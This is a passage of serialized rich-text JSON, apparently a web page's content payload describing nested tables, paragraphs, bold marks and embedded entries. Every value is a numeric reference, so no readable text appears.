9,"marks":37420,"value":29353,"nodeType":864},{},[37421],{"type":899},{"data":37423,"marks":37424,"value":29357,"nodeType":864},{},[],{"data":37426,"content":37427,"nodeType":860},{},[37428,37432],{"data":37429,"marks":37430,"value":29365,"nodeType":864},{},[37431],{"type":899},{"data":37433,"marks":37434,"value":29369,"nodeType":864},{},[],{"data":37436,"content":37437,"nodeType":860},{},[37438,37442],{"data":37439,"marks":37440,"value":29377,"nodeType":864},{},[37441],{"type":899},{"data":37443,"marks":37444,"value":29381,"nodeType":864},{},[],{"data":37446,"content":37447,"nodeType":1005},{},[],{"data":37449,"content":37450,"nodeType":1312},{},[37451],{"data":37452,"marks":37453,"value":29392,"nodeType":864},{},[37454],{"type":899},{"data":37456,"content":37457,"nodeType":4845},{},[37458,37480,37516,37538,37560],{"data":37459,"content":37460,"nodeType":4581},{},[37461,37471],{"data":37462,"content":37463,"nodeType":4569},{},[37464],{"data":37465,"content":37466,"nodeType":860},{},[37467],{"data":37468,"marks":37469,"value":29135,"nodeType":864},{},[37470],{"type":899},{"data":37472,"content":37473,"nodeType":4569},{},[37474],{"data":37475,"content":37476,"nodeType":860},{},[37477],{"data":37478,"marks":37479,"value":29418,"nodeType":864},{},[],{"data":37481,"content":37482,"nodeType":4581},{},[37483,37493],{"data":37484,"content":37485,"nodeType":4569},{},[37486],{"data":37487,"content":37488,"nodeType":860},{},[37489],{"data":37490,"marks":37491,"value":29159,"nodeType":864},{},[37492],{"type":899},{"data":37494,"content":37495,"nodeType":4569},{},[37496,37506],{"data":37497,"content":37498,"nodeType":860},{},[37499,37503],{"data":37500,"marks":37501,"value":29442,"nodeType":864},{},[37502],{"type":899},{"data":37504,"marks":37505,"value":29446,"nodeType":864},{},[],{"data":37507,"content":37508,"nodeType":860},{},[37509,37513],{"data":37510,"marks":37511,"value":29200,"nodeType":864},{},[37512],{"type":899},{"data":37514,"marks":37515,"value":29457,"nodeType":864},{},[],{"data":37517,"content":37518,"nodeType":4581},{},[37519,37529],{"data":37520,"content":37521,"nodeType":4569},{},[37522],{"data":37523,"content":37524,"nodeType":860},{},[37525],{"data":37526,"marks":37527,"value":29242,"nodeType":864},{},[37528],{"type":899},{"data":37530,"content":37531,"nodeType":4569},{},[37532],{"data":37533,"content":37534,"nodeType":860},{},[37535],{"data":37536,"marks":37537,"value":29480,"nodeType":864},{},[],{"data":37539,"content":37540,"nodeType":4581},{},[37541,37551],{"data":37542,"content":37543,"nodeType":4569},{},[37544],{"data":37545,"content":37546,"nodeType":860},{},[37547],{"data":37548,"marks":37549,"value":29294,"nodeType":864},{},[37550],{"type":899},{"data":37552,"content":37553,"nodeType":4569},{},[37554],{"data":37555,"content":37556,"nodeType":860},{},[37557],{"data":37558,"marks":37559,"value":29503,"nodeType":864},{},[],{"data":37561,"content":37562,"nodeType":4581},{},[37563,37573],{"data":37564,"content":37565,"nodeType":4569},{},[37566],{"data":37567,"content":37568,"nodeType":860},{},[37569],{"data":37570,"marks":37571,"value":29517,"nodeType":864},{},[37572],{"type":899},{"data":37574,"content":37575,"nodeType":4569},{},[37576],{"data":37577,"content":37578,"nodeType":860},{},[37579],{"data":37580,"marks":37581,"value":29527,"nodeType":864},{},[],{"data":37583,"content":37586,"nodeType":996},{"target":37584},{"sys":37585},{"id":29532,"type":1001,"linkType":1002},[],{"data":37588,"content":37589,"nodeType":1005},{},[],{"data":37591,"content":37592,"nodeType":1312},{},[37593],{"data":37594,"marks":37595,"value":29544,"nodeType":864},{},[37596],{"type":899},{"data":37598,"content":37599,"nodeType":860},{},[37600,37603,37607,37610,37616,37619,37625],{"data":37601,"marks":37602,"value":29551,"nodeType":864},{},[],{"data":37604,"marks":37605,"value":29556,"nodeType":864},{},[37606],{"type":899},{"data":37608,"marks":37609,"value":29560,"nodeType":864},{},[],{"data":37611,"content":37612,"nodeType":883},{"uri":29563},[37613],{"data":37614,"marks":37615,"value":29568,"nodeType":864},{},[],{"data":37617,"marks":37618,"value":29572,"nodeType":864},{},[],{"data":37620,"content":37621,"nodeType":883},{"uri":29575},[37622],{"data":37623,"marks":37624,"value":29580,"nodeType":864},{},[],{"data":37626,"marks":37627,"value":29584,"nodeType":864},{},[],{"data":37629,"content":37630,"nodeType":4845},{},[37631,37653,37689,37711,37733],{"data":37632,"content":37633,"nodeType":4581},{},[37634,37644],{"data":37635,"content":37636,"nodeType":4569},{},[37637],{"data":37638,"content":37639,"nodeType":860},{},[37640],{"data":37641,"marks":37642,"value":29135,"nodeType":864},{},[37643],{"type":899},{"data":37645,"content":37646,"nodeType":4569},{},[37647],{"data":37648,"content":37649,"nodeType":860},{},[37650],{"data":37651,"marks":37652,"value":29610,"nodeType":864},{},[],{"data":37654,"content":37655,"nodeType":4581},{},[37656,37666],{"data":37657,"content":37658,"nodeType":4569},{},[37659],{"data":37660,"content":37661,"nodeType":860},{},[37662],{"data":37663,"marks":37664,"value":29159,"nodeType":864},{},[37665],{"type":899},{"data":37667,"content":37668,"nodeType":4569},{},[37669,37679],{"data":37670,"content":37671,"nodeType":860},{},[37672,37676],{"data":37673,"marks":37674,"value":29634,"nodeType":864},{},[37675],{"type":899},{"data":37677,"marks":37678,"value":29638,"nodeType":864},{},[],{"data":37680,"content":37681,"nodeType":860},{},[37682,37686],{"data":37683,"marks":37684,"value":29200,"nodeType":864},{},[37685],{"type":899},{"data":37687,"marks":37688,"value":29649,"nodeType":864},{},[],{"data":37690,"content":37691,"nodeType":4581},{},[37692,37702],{"data":37693,"content":37694,"nodeType":4569},{},[37695],{"data":37696,"content":37697,"nodeType":860},{},[37698],{"data":37699,"marks":37700,"value":29242,"nodeType":864},{},[37701],{"type":899},{"data":37703,"content":37704,"nodeType":4569},{},[37705],{"data":37706,"content":37707,"nodeType":860},{},[37708],{"data":37709,"marks":37710,"value":29672,"nodeType":864},{},[],{"data":37712,"content":37713,"nodeType":4581},{},[37714,37724],{"data":37715,"content":37716,"nodeType":4569},{},[37717],{"data":37718,"content":37719,"nodeType":860},{},[37720],{"data":37721,"marks":37722,"value":29294,"nodeType":864},{},[37723],{"type":899},{"data":37725,"content":37726,"nodeType":4569},{},[37727],{"data":37728,"content":37729,"nodeType":860},{},[37730],{"data":37731,"marks":37732,"value":29695,"nodeType":864},{},[],{"data":37734,"content":37735,"nodeType":4581},{},[37736,37746],{"data":37737,"content":37738,"nodeType":4569},{},[37739],{"data":37740,"content":37741,"nodeType":860},{},[37742],{"data":37743,"marks":37744,"value":29517,"nodeType":864},{},[37745],{"type":899},{"data":37747,"content":37748,"nodeType":4569},{},[37749],{"data":37750,"content":37751,"nodeType":860},{},[37752],{"data":37753,"marks":37754,"value":29718,"nodeType":864},{},[],{"data":37756,"content":37759,"nodeType":996},{"target":37757},{"sys":37758},{"id":29723,"type":1001,"linkType":1002},[],{"data":37761,"content":37762,"nodeType":1005},{},[],{"data":37764,"content":37765,"nodeType":1312},{},[37766],{"data":37767,"marks":37768,"value":29735,"nodeType":864},{},[37769],{"type":899},{"data":37771,"content":37772,"nodeType":4845},{},[37773,37795,37837,37865,37887],{"data":37774,"content":37775,"nodeType":4581},{},[37776,37786],{"data":37777,"content":37778,"nodeType":4569},{},[37779],{"data":37780,"content":37781,"nodeType":860},{},[37782],{"data":37783,"marks":37784,"value":29135,"nodeType":864},{},[37785],{"type":899},{"data":37787,"content":37788,"nodeType":4569},{},[37789],{"data":37790,"content":37791,"nodeType":860},{},[37792],{"data":37793,"marks":37794,"value":29761,"nodeType":864},{},[],{"data":37796,"content":37797,"nodeType":4581},{},[37798,37808],{"data":37799,"content":37800,"nodeType":4569},{},[37801],{"data":37802,"content":37803,"nodeType":860},{},[37804],{"data":37805,"marks":37806,"value":29159,"nodeType":864},{},[37807],{"type":899},{"data":37809,"content":37810,"nodeType":4569},{},[37811,37821,37827],{"data":37812,"content":37813,"nodeType":860},{},[37814,37818],{"data":37815,"marks":37816,"value":29634,"nodeType":864},{},[37817],{"type":899},{"data":37819,"marks":37820,"value":29788,"nodeType":864},{},[],{"data":37822,"content":37823,"nodeType":860},{},[37824],{"data":37825,"marks":37826,"value":29795,"nodeType":864},{},[],{"data":37828,"content":37829,"nodeType":860},{},[37830,37834],{"data":37831,"marks":37832,"value":29200,"nodeType":864},{},[37833],{"type":899},{"data":37835,"marks":37836,"value":29806,"nodeType":864},{},[],{"data":37838,"content":37839,"nodeType":4581},{},[37840,37850],{"data":37841,"content":37842,"nodeType":4569},{},[37843],{"data":37844,"content":37845,"nodeType":860},{},[37846],{"data":37847,"marks":37848,"value":29242,"nodeType":864},{},[37849],{"type":899},{"data":37851,"content":37852,"nodeType":4569},{},[37853,37859],{"data":37854,"content":37855,"nodeType":860},{},[37856],{"data":37857,"marks":37858,"value":29829,"nodeType":864},{},[],{"data":37860,"content":37861,"nodeType":860},{},[37862],{"data":37863,"marks":37864,"value":29836,"nodeType":864},{},[],{"data":37866,"content":37867,"nodeType":4581},{},[37868,37878],{"data":37869,"content":37870,"nodeType":4569},{},[37871],{"data":37872,"content":37873,"nodeType":860},{},[37874],{"data":37875,"marks":37876,"value":29294,"nodeType":864},{},[37877],{"type":899},{"data":37879,"content":37880,"nodeType":4569},{},[37881],{"data":37882,"content":37883,"nodeType":860},{},[37884],{"data":37885,"marks":37886,"value":29859,"nodeType":864},{},[],{"data":37888,"content":37889,"nodeType":4581},{},[37890,37900],{"data":37891,"content":37892,"nodeType":4569},{},[37893],{"data":37894,"content":37895,"nodeType":860},{},[37896],{"data":37897,"marks":37898,"value":29517,"nodeType":864},{},[37899],{"type":899},{"data":37901,"content":37902,"nodeType":4569},{},[37903],{"data":37904,"content":37905,"nodeType":860},{},[37906],{"data":37907,"marks":37908,"value":29882,"nodeType":864},{},[],{"data":37910,"content":37913,"nodeType":996},{"target":37911},{"sys":37912},{"id":29887,"type":1001,"linkType":1002},[],{"data":37915,"content":37916,"nodeType":1005},{},[],{"data":37918,"content":37919,"nodeType":1312},{},[37920],{"data":37921,"marks":37922,"value":29899,"nodeType":864},{},[37923],{"type":899},{"data":37925,"content":37928,"nodeType":996},{"target":37926},{"sys":37927},{"id":29904,"type":1001,"linkType":1002},[],{"data":37930,"content":37931,"nodeType":4845},{},[37932,37954,37997,38019,38041],{"data":37933,"content":37934,"nodeType":4581},{},[37935,37945],{"data":37936,"content":37937,"nodeType":4569},{},[37938],{"data":37939,"content":37940,"nodeType":860},{},[37941],{"data":37942,"marks":37943,"value":29135,"nodeType":864},{},[37944],{"type":899},{"data":37946,"content":37947,"nodeType":4569},{},[37948],{"data":37949,"content":37950,"nodeType":860},{},[37951],{"data":37952,"marks":37953,"value":29931,"nodeType":864},{},[],{"data":37955,"content":37956,"nodeType":4581},{},[37957,37967],{"data":37958,"content":37959,"nodeType":4569},{},[37960],{"data":37961,"content":37962,"nodeType":860},{},[37963],{"data":37964,"marks":37965,"value":29159,"nodeType":864},{},[37966],{"type":899},{"data":37968,"content":37969,"nodeType":4569},{},[37970,37980],{"data":37971,"content":37972,"nodeType":860},{},[37973,37977],{"data":37974,"marks":37975,"value":29634,"nodeType":864},{},[37976],{"type":899},{"data":37978,"marks":37979,"value":29958,"nodeType":864},{},[],{"data":37981,"content":37982,"nodeType":860},{},[37983,37987,37990,37994],{"data":37984,"marks":37985,"value":29200,"nodeType":864},{},[37986],{"type":899},{"data":37988,"marks":37989,"value":1171,"nodeType":864},{},[],{"data":37991,"marks":37992,"value":12978,"nodeType":864},{},[37993],{"type":899},{"data":37995,"marks":37996,"value":29976,"nodeType":864},{},[],{"data":37998,"content":37999,"nodeType":4581},{},[38000,38010],{"data":38001,"content":38002,"nodeType":4569},{},[38003],{"data":38004,"content":38005,"nodeType":860},{},[38006],{"data":38007,"marks":38008,"value":29242,"nodeType":864},{},[38009],{"type":899},{"data":38011,"content":38012,"nodeType":4569},{},[38013],{"data":38014,"content":38015,"nodeType":860},{},[38016],{"data":38017,"marks":38018,"value":29999,"nodeType":864},{},[],{"data":38020,"content":38021,"nodeType":4581},{},[38022,38032],{"data":38023,"content":38024,"nodeType":4569},{},[38025],{"data":38026,"content":38027,"nodeType":860},{},[38028],{"data":38029,"marks":38030,"value":29294,"nodeType":864},{},[38031],{"type":899},{"data":38033,"content":38034,"nodeType":4569},{},[38035],{"data":38036,"content":38037,"nodeType":860},{},[38038],{"data":38039,"marks":38040,"value":30022,"nodeType":864},{},[],{"data":38042,"content":38043,"nodeType":4581},{},[38044,38054],{"data":38045,"content":38046,"nodeType":4569},{},[38047],{"data":38048,"content":38049,"nodeType":860},{},[38050],{"data":38051,"marks":38052,"value":29517,"nodeType":864},{},[38053],{"type":899},{"data":38055,"content":38056,"nodeType":4569},{},[38057],{"data":38058,"content":38059,"nodeType":860},{},[38060],{"data":38061,"marks":38062,"value":30045,"nodeType":864},{},[],{"data":38064,"content":38067,"nodeType":996},{"target":38065},{"sys":38066},{"id":30050,"type":1001,"linkType":1002},[],{"data":38069,"content":38072,"nodeType":996},{"target":38070},{"sys":38071},{"id":30056,"type":1001,"linkType":1002},[],{"data":38074,"content":38075,"nodeType":1005},{},[],{"data":38077,"content":38078,"nodeType":1312},{},[38079],{"data":38080,"marks":38081,"value":30068,"nodeType":864},{},[38082],{"type":899},{"data":38084,"content":38085,"nodeType":4845},{},[38086,38108,38144,38178,38200],{"data":38087,"content":38088,"nodeType":4581},{},[38089,38099],{"data":38090,"content":38091,"nodeType":4569},{},[38092],{"data":38093,"content":38094,"nodeType":860},{},[38095],{"data":38096,"marks":38097,"value":29135,"nodeType":864},{},[38098],{"type":899},{"data":38100,"content":38101,"nodeType":4569},{},[38102],{"data":38103,"content":38104,"nodeType":860},{},[38105],{"data":38106,"marks":38107,"value":30094,"nodeType":864},{},[],{"data":38109,"content":38110,"nodeType":4581},{},[38111,38121],{"data":38112,"content":38113,"nodeType":4569},{},[38114],{"data":38115,"content":38116,"nodeType":860},{},[38117],{"data":38118,"marks":38119,"value":29159,"nodeType":864},{},[38120],{"type":899},{"data":38122,"content":38123,"nodeType":4569},{},[38124,38134],{"data":38125,"content":38126,"nodeType":860},{},[38127,38131],{"data":38128,"marks":38129,"value":29634,"nodeType":864},{},[38130],{"type":899},{"data":38132,"marks":38133,"value":30121,"nodeType":864},{},[],{"data":38135,"content":38136,"nodeType":860},{},[38137,38141],{"data":38138,"marks":38139,"value":29200,"nodeType":864},{},[38140],{"type":899},{"data":38142,"marks":38143,"value":30132,"nodeType":864},{},[],{"data":38145,"content":38146,"nodeType":4581},{},[38147,38157],{"data":38148,"content":38149,"nodeType":4569},{},[38150],{"data":38151,"content":38152,"nodeType":860},{},[38153],{"data":38154,"marks":38155,"value":29242,"nodeType":864},{},[38156],{"type":899},{"data":38158,"content":38159,"nodeType":4569},{},[38160,38166,38172],{"data":38161,"content":38162,"nodeType":860},{},[38163],{"data":38164,"marks":38165,"value":30155,"nodeType":864},{},[],{"data":38167,"content":38168,"nodeType":860},{},[38169],{"data":38170,"marks":38171,"value":30162,"nodeType":864},{},[],{"data":38173,"content":38174,"nodeType":860},{},[38175],{"data":38176,"marks":38177,"value":30169,"nodeType":864},{},[],{"data":38179,"content":38180,"nodeType":4581},{},[38181,38191],{"data":38182,"content":38183,"nodeType":4569},{},[38184],{"data":38185,"content":38186,"nodeType":860},{},[38187],{"data":38188,"marks":38189,"value":29294,"nodeType":864},{},[38190],{"type":899},{"data":38192,"content":38193,"nodeType":4569},{},[38194],{"data":38195,"content":38196,"nodeType":860},{},[38197],{"data":38198,"marks":38199,"value":30192,"nodeType":864},{},[],{"data":38201,"content":38202,"nodeType":4581},{},[38203,38213],{"data":38204,"content":38205,"nodeType":4569},{},[38206],{"data":38207,"content":38208,"nodeType":860},{},[38209],{"data":38210,"marks":38211,"value":29517,"nodeType":864},{},[38212],{"type":899},{"data":38214,"content":38215,"nodeType":4569},{},[38216],{"data":38217,"content":38218,"nodeType":860},{},[38219],{"data":38220,"marks":38221,"value":30215,"nodeType":864},{},[],{"data":38223,"content":38226,"nodeType":996},{"target":38224},{"sys":38225},{"id":30220,"type":1001,"linkType":1002},[],{"data":38228,"content":38229,"nodeType":1005},{},[],{"data":38231,"content":38232,"nodeType":1312},{},[38233],{"data":38234,"marks":38235,"value":30232,"nodeType":864},{},[38236],{"type":899},{"data":38238,"content":38239,"nodeType":4845},{},[38240,38262,38305,38333,38355],{"data":38241,"content":38242,"nodeType":4581},{},[38243,38253],{"data":38244,"content":38245,"nodeType":4569},{},[38246],{"data":38247,"content":38248,"nodeType":860},{},[38249],{"data":38250,"marks":38251,"value":29135,"nodeType":864},{},[38252],{"type":899},{"data":38254,"content":38255,"nodeType":4569},{},[38256],{"data":38257,"content":38258,"nodeType":860},{},[38259],{"data":38260,"marks":38261,"value":29931,"nodeType":864},{},[],{"data":38263,"content":38264,"nodeType":4581},{},[38265,38275],{"data":38266,"content":38267,"nodeType":4569},{},[38268],{"data":38269,"content":38270,"nodeType":860},{},[38271],{"data":38272,"marks":38273,"value":29159,"nodeType":864},{},[38274],{"type":899},{"data":38276,"content":38277,"nodeType":4569},{},[38278,38288],{"data":38279,"content":38280,"nodeType":860},{},[38281,38285],{"data":38282,"marks":38283,"value":29634,"nodeType":864},{},[38284],{"type":899},{"data":38286,"marks":38287,"value":30284,"nodeType":864},{},[],{"data":38289,"content":38290,"nodeType":860},{},[38291,38295,38298,38302],{"data":38292,"marks":38293,"value":29200,"nodeType":864},{},[38294],{"type":899},{"data":38296,"marks":38297,"value":1171,"nodeType":864},{},[],{"data":38299,"marks":38300,"value":12978,"nodeType":864},{},[38301],{"type":899},{"data":38303,"marks":38304,"value":30302,"nodeType":864},{},[],{"data":38306,"content":38307,"nodeType":4581},{},[38308,38318],{"data":38309,"content":38310,"nodeType":4569},{},[38311],{"data":38312,"content":38313,"nodeType":860},{},[38314],{"data":38315,"marks":38316,"value":29242,"nodeType":864},{},[38317],{"type":899},{"data":38319,"content":38320,"nodeType":4569},{},[38321,38327],{"data":38322,"content":38323,"nodeType":860},{},[38324],{"data":38325,"marks":38326,"value":30325,"nodeType":864},{},[],{"data":38328,"content":38329,"nodeType":860},{},[38330],{"data":38331,"marks":38332,"value":30332,"nodeType":864},{},[],{"data":38334,"content":38335,"nodeType":4581},{},[38336,38346],{"data":38337,"content":38338,"nodeType":4569},{},[38339],{"data":38340,"content":38341,"nodeType":860},{},[38342],{"data":38343,"marks":38344,"value":29294,"nodeType":864},{},[38345],{"type":899},{"data":38347,"content":38348,"nodeType":4569},{},[38349],{"data":38350,"content":38351,"nodeType":860},{},[38352],{"data":38353,"marks":38354,"value":30355,"nodeType":864},{},[],{"data":38356,"content":38357,"nodeType":4581},{},[38358,38368],{"data":38359,"content":38360,"nodeType":4569},{},[38361],{"data":38362,"content":38363,"nodeType":860},{},[38364],{"data":38365,"marks":38366,"value":29517,"nodeType":864},{},[38367],{"type":899},{"data":38369,"content":38370,"nodeType":4569},{},[38371],{"data":38372,"content":38373,"nodeType":860},{},[38374],{"data":38375,"marks":38376,"value":30378,"nodeType":864},{},[],{"data":38378,"content":38381,"nodeType":996},{"target":38379},{"sys":38380},{"id":30383,"type":1001,"linkType":1002},[],{"data":38383,"content":38384,"nodeType":1005},{},[],{"data":38386,"content":38387,"nodeType":1312},{},[38388],{"data":38389,"marks":38390,"value":30395,"nodeType":864},{},[38391],{"type":899},{"data":38393,"content":38394,"nodeType":4845},{},[38395,38417,38439,38461],{"data":38396,"content":38397,"nodeType":4581},{},[38398,38408],{"data":38399,"content":38400,"nodeType":4569},{},[38401],{"data":38402,"content":38403,"nodeType":860},{},[38404],{"data":38405,"marks":38406,"value":29135,"nodeType":864},{},[38407],{"type":899},{"data":38409,"content":38410,"nodeType":4569},{},[38411],{"data":38412,"content":38413,"nodeType":860},{},[38414],{"data":38415,"marks":38416,"value":30421,"nodeType":864},{},[],{"data":38418,"content":38419,"nodeType":4581},{},[38420,38430],{"data":38421,"content":38422,"nodeType":4569},{},[38423],{"data":38424,"content":38425,"nodeType":860},{},[38426],{"data":38427,"marks":38428,"value":29242,"nodeType":864},{},[38429],{"type":899},{"data":38431,"content":38432,"nodeType":4569},{},[38433],{"data":38434,"content":38435,"nodeType":860},{},[38436],{"data":38437,"marks":38438,"value":30444,"nodeType":864},{},[],{"data":38440,"content":38441,"nodeType":4581},{},[38442,38452],{"data":38443,"content":38444,"nodeType":4569},{},[38445],{"data":38446,"content":38447,"nodeType":860},{},[38448],{"data":38449,"marks":38450,"value":29294,"nodeType":864},{},[38451],{"type":899},{"data":38453,"content":38454,"nodeType":4569},{},[38455],{"data":38456,"content":38457,"nodeType":860},{},[38458],{"data":38459,"marks":38460,"value":30467,"nodeType":864},{},[],{"data":38462,"content":38463,"nodeType":4581},{},[38464,38474],{"data":38465,"content":38466,"nodeType":4569},{},[38467],{"data":38468,"content":38469,"nodeType":860},{},[38470],{"data":38471,"marks":38472,"value":29517,"nodeType":864},{},[38473],{"type":899},{"data":38475,"content":38476,"nodeType":4569},{},[38477],{"data":38478,"content":38479,"nodeType":860},{},[38480],{"data":38481,"marks":38482,"value":30490,"nodeType":864},{},[],{"data":38484,"content":38487,"nodeType":996},{"target":38485},{"sys":38486},{"id":30495,"type":1001,"linkType":1002},[],{"data":38489,"content":38490,"nodeType":1005},{},[],{"data":38492,"content":38493,"nodeType":1312},{},[38494],{"data":38495,"marks":38496,"value":30507,"nodeType":864},{},[38497],{"type":899},{"data":38499,"content":38500,"nodeType":4845},{},[38501,38523,38545,38567],{"data":38502,"content":38503,"nodeType":4581},{},[38504,38514],{"data":38505,"content":38506,"nodeType":4569},{},[38507],{"data":38508,"content":38509,"nodeType":860},{},[38510],{"data":38511,"marks":38512,"value":29135,"nodeType":864},{},[38513],{"type":899},{"data":38515,"content":38516,"nodeType":4569},{},[38517],{"data":38518,"content":38519,"nodeType":860},{},[38520],{"data":38521,"marks":38522,"value":29418,"nodeType":864},{},[],{"data":38524,"content":38525,"nodeType":4581},{},[38526,38536],{"data":38527,"content":38528,"nodeType":4569},{},[38529],{"data":38530,"content":38531,"nodeType":860},{},[38532],{"data":38533,"marks":38534,"value":29242,"nodeType":864},{},[38535],{"type":899},{"data":38537,"content":38538,"nodeType":4569},{},[38539],{"data":38540,"content":38541,"nodeType":860},{},[38542],{"data":38543,"marks":38544,"value":30555,"nodeType":864},{},[],{"data":38546,"content":38547,"nodeType":4581},{},[38548,38558],{"data":38549,"content":38550,"nodeType":4569},{},[38551],{"data":38552,"content":38553,"nodeType":860},{},[38554],{"data":38555,"marks":38556,"value":29294,"nodeType":864},{},[38557],{"type":899},{"data":38559,"content":38560,"nodeType":4569},{},[38561],{"data":38562,"content":38563,"nodeType":860},{},[38564],{"data":38565,"marks":38566,"value":30578,"nodeType":864},{},[],{"data":38568,"content":38569,"nodeType":4581},{},[38570,38580],{"data":38571,"content":38572,"nodeType":4569},{},[38573],{"data":38574,"content":38575,"nodeType":860},{},[38576],{"data":38577,"marks":38578,"value":29517,"nodeType":864},{},[38579],{"type":899},{"data":38581,"content":38582,"nodeType":4569},{},[38583],{"data":38584,"content":38585,"nodeType":860},{},[38586],{"data":38587,"marks":38588,"value":30601,"nodeType":864},{},[],{"data":38590,"content":38593,"nodeType":996},{"target":38591},{"sys":38592},{"id":30606,"type":1001,"linkType":1002},[],{"data":38595,"content":38596,"nodeType":1005},{},[],{"data":38598,"content":38599,"nodeType":1312},{},[38600],{"data":38601,"marks":38602,"value":30618,"nodeType":864},{},[38603],{"type":899},{"data":38605,"content":38608,"nodeType":996},{"target":38606},{"sys":38607},{"id":30623,"type":1001,"linkType":1002},[],{"data":38610,"content":38611,"nodeType":4845},{},[38612,38634,38670,38692,38714],{"data":38613,"content":38614,"nodeType":4581},{},[38615,38625],{"data":38616,"content":38617,"nodeType":4569},{},[38618],{"data":38619,"content":38620,"nodeType":860},{},[38621],{"data":38622,"marks":38623,"value":29135,"nodeType":864},{},[38624],{"type":899},{"data":38626,"content":38627,"nodeType":4569},{},[38628],{"data":38629,"content":38630,"nodeType":860},{},[38631],{"data":38632,"marks":38633,"value":30650,"nodeType":864},{},[],{"data":38635,"content":38636,"nodeType":4581},{},[38637,38647],{"data":38638,"content":38639,"nodeType":4569},{},[38640],{"data":38641,"content":38642,"nodeType":860},{},[38643],{"data":38644,"marks":38645,"value":29159,"nodeType":864},{},[38646],{"type":899},{"data":38648,"content":38649,"nodeType":4569},{},[38650,38660],{"data":38651,"content":38652,"nodeType":860},{},[38653,38657],{"data":38654,"marks":38655,"value":29634,"nodeType":864},{},[38656],{"type":899},{"data":38658,"marks":38659,"value":30677,"nodeType":864},{},[],{"data":38661,"content":38662,"nodeType":860},{},[38663,38667],{"data":38664,"marks":38665,"value":29200,"nodeType":864},{},[38666],{"type":899},{"data":38668,"marks":38669,"value":30688,"nodeType":864},{},[],{"data":38671,"content":38672,"nodeType":4581},{},[38673,38683],{"data":38674,"content":38675,"nodeType":4569},{},[38676],{"data":38677,"content":38678,"nodeType":860},{},[38679],{"data":38680,"marks":38681,"value":29242,"nodeType":864},{},[38682],{"type":899},{"data":38684,"content":38685,"nodeType":4569},{},[38686],{"data":38687,"content":38688,"nodeType":860},{},[38689],{"data":38690,"marks":38691,"value":30711,"nodeType":864},{},[],{"data":38693,"content":38694,"nodeType":4581},{},[38695,38705],{"data":38696,"content":38697,"nodeType":4569},{},[38698],{"data":38699,"content":38700,"nodeType":860},{},[38701],{"data":38702,"marks":38703,"value":29294,"nodeType":864},{},[38704],{"type":899},{"data":38706,"content":38707,"nodeType":4569},{},[38708],{"data":38709,"content":38710,"nodeType":860},{},[38711],{"data":38712,"marks":38713,"value":30734,"nodeType":864},{},[],{"data":38715,"content":38716,"nodeType":4581},{},[38717,38727],{"data":38718,"content":38719,"nodeType":4569},{},[38720],{"data":38721,"content":38722,"nodeType":860},{},[38723],{"data":38724,"marks":38725,"value":29517,"nodeType":864},{},[38726],{"type":899},{"data":38728,"content":38729,"nodeType":4569},{},[38730],{"data":38731,"content":38732,"nodeType":860},{},[38733],{"data":38734,"marks":38735,"value":30757,"nodeType":864},{},[],{"data":38737,"content":38740,"nodeType":996},{"target":38738},{"sys":38739},{"id":30762,"type":1001,"linkType":1002},[],{"data":38742,"content":38743,"nodeType":1005},{},[],{"data":38745,"content":38746,"nodeType":1312},{},[38747],{"data":38748,"marks":38749,"value":30774,"nodeType":864},{},[38750],{"type":899},{"data":38752,"content":38753,"nodeType":4845},{},[38754,38776],{"data":38755,"content":38756,"nodeType":4581},{},[38757,38767],{"data":38758,"content":38759,"nodeType":4569},{},[38760],{"data":38761,"content":38762,"nodeType":860},{},[38763],{"data":38764,"marks":38765,"value":29242,"nodeType":864},{},[38766],{"type":899},{"data":38768,"content":38769,"nodeType":4569},{},[38770],{"data":38771,"content":38772,"nodeType":860},{},[38773],{"data":38774,"marks":38775,"value":30800,"nodeType":864},{},[],{"data":38777,"content":38778,"nodeType":4581},{},[38779,38789],{"data":38780,"content":38781,"nodeType":4569},{},[38782],{"data":38783,"content":38784,"nodeType":860},{},[38785],{"data":38786,"marks":38787,"value":29294,"nodeType":864},{},[38788],{"type":899},{"data":38790,"content":38791,"nodeType":4569},{},[38792],{"data":38793,"content":38794,"nodeType":860},{},[38795],{"data":38796,"marks":38797,"value":30823,"nodeType":864},{},[],{"data":38799,"content":38802,"nodeType":996},{"target":38800},{"sys":38801},{"id":30828,"type":1001,"linkType":1002},[],{"data":38804,"content":38805,"nodeType":1005},{},[],{"data":38807,"content":38808,"nodeType":1312},{},[38809],{"data":38810,"marks":38811,"value":30840,"nodeType":864},{},[38812],{"type":899},{"data":38814,"content":38815,"nodeType":4845},{},[38816,38844,38880,38902,38924],{"data":38817,"content":38818,"nodeType":4581},{},[38819,38829],{"data":38820,"content":38821,"nodeType":4569},{},[38822],{"data":38823,"content":38824,"nodeType":860},{},[38825],{"data":38826,"marks":38827,"value":29135,"nodeType":864},{},[38828],{"type":899},{"data":38830,"content":38831,"nodeType":4569},{},[38832,38838],{"data":38833,"content":38834,"nodeType":860},{},[38835],{"data":38836,"marks":38837,"value":30866,"nodeType":864},{},[],{"data":38839,"content":38840,"nodeType":860},{},[38841],{"data":38842,"marks":38843,"value":30873,"nodeType":864},{},[],{"data":38845,"content":38846,"nodeType":4581},{},[38847,38857],{"data":38848,"content":38849,"nodeType":4569},{},[38850],{"data":38851,"content":38852,"nodeType":860},{},[38853],{"data":38854,"marks":38855,"value":29159,"nodeType":864},{},[38856],{"type":899},{"data":38858,"content":38859,"nodeType":4569},{},[38860,38870],{"data":38861,"content":38862,"nodeType":860},{},[38863,38867],{"data":38864,"marks":38865,"value":29634,"nodeType":864},{},[38866],{"type":899},{"data":38868,"marks":38869,"value":30900,"nodeType":864},{},[],{"data":38871,"content":38872,"nodeType":860},{},[38873,38877],{"data":38874,"marks":38875,"value":29200,"nodeType":864},{},[38876],{"type":899},{"data":38878,"marks":38879,"value":29457,"nodeType":864},{},[],{"data":38881,"content":38882,"nodeType":4581},{},[38883,38893],{"data":38884,"content":38885,"nodeType":4569},{},[38886],{"data":38887,"content":38888,"nodeType":860},{},[38889],{"data":38890,"marks":38891,"value":29242,"nodeType":864},{},[38892],{"type":899},{"data":38894,"content":38895,"nodeType":4569},{},[38896],{"data":38897,"content":38898,"nodeType":860},{},[38899],{"data":38900,"marks":38901,"value":30933,"nodeType":864},{},[],{"data":38903,"content":38904,"nodeType":4581},{},[38905,38915],{"data":38906,"content":38907,"nodeType":4569},{},[38908],{"data":38909,"content":38910,"nodeType":860},{},[38911],{"data":38912,"marks":38913,"value":29294,"nodeType":864},{},[38914],{"type":899},{"data":38916,"content":38917,"nodeType":4569},{},[38918],{"data":38919,"content":38920,"nodeType":860},{},[38921],{"data":38922,"marks":38923,"value":30956,"nodeType":864},{},[],{"data":38925,"content":38